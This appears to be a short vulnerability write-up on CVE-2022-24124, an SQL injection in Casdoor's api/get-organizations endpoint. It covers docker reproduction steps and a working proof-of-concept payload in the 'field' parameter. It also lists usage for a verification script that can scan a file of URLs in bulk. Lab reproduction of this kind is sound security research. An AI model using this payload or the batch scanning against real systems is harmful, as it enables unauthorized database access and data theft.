CVE-2022-24124

Preface

Casdoor is a centralized single sign-on (SSO) authentication platform based on OAuth 2.0/OIDC

ID

CVE ID: CVE-2022-24124

CNPD ID: CNPD-202201-7304

Affected Versions

Severity: High (7.5 HIGH)

POC/EXP: Publicly available

Casdoor < Casdoor 1.13.1 // All versions before 1.13.1 are affected

Vulnerability Description

This vulnerability is an SQL injection vulnerability. The query API has an SQL injection vulnerability related to the field and value parameters, as shown in api/get-organizations.

Reproduction

Pull the vulnerable image

docker pull vulfocus/casdoor:1.13.0

Start the vulnerable environment

docker run -itd -p 8000:8000 -it -d vulfocus/casdoor:1.13.0

Open the vulnerable environment page

Use POC to construct payload

POC: /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)

One-Click Verification Script

Disclaimer: This tool is only for security research or authorized penetration testing. Users are solely responsible for any illegal use. The author assumes no liability or responsibility.

python3 CVE-2022-24124.py -h

python3 CVE-2022-24124.py -u http://127.0.0.1

python3 CVE-2022-24124.py -f urls.txt

Related Information

https://nvd.nist.gov/vuln/detail/CVE-2022-24124

https://github.com/ColdFusionX/CVE-2022-24124

https://github.com/0xAbbarhSF/CVE-2022-24124

Reference: https://www.t00ls.com/thread-66989-1-1.html

I wrote a Python version as a practice and added a batch detection feature.